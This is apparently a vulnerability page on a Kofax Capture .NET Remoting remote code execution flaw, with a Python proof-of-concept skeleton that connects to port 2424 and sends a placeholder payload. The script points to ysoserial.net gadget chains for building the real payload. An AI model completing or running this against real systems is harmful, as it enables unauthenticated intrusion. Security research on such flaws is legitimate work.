CVE-2026-23751: Kofax Capture 远程代码执行漏洞

import socket import struct # PoC for CVE-2026-23751: Kofax Capture .NET Remoting Unauthenticated RCE # This script demonstrates the concept of connecting to the vulnerable port # and sending a payload to instantiate System.Net.WebClient. # Note: Generating a valid .NET Remoting serialized payload usually requires # a tool like ysoserial.net. TARGET_IP = "192.168.1.100" TARGET_PORT = 2424 # .NET Remoting generally starts with a specific handshake/preamble # This is a simplified structure for demonstration. def send_remoting_payload(ip, port, payload): try: print(f"[*] Connecting to {ip}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((ip, port)) # Send the malicious payload print(f"[*] Sending payload of length {len(payload)}...") s.sendall(payload) # Receive response response = s.recv(4096) print(f"[+] Received response: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # In a real attack scenario, 'payload' would be a serialized .NET object # designed to instantiate System.Net.WebClient and perform an action. # Example command generation logic would go here. print("[!] This PoC requires a generated .NET Remoting payload to function.") print("[!] Use a tool like ysoserial.net with an appropriate gadget chain.") # Placeholder for the actual byte stream payload = b"\x00\x00\x00..." # send_remoting_payload(TARGET_IP, TARGET_PORT, payload)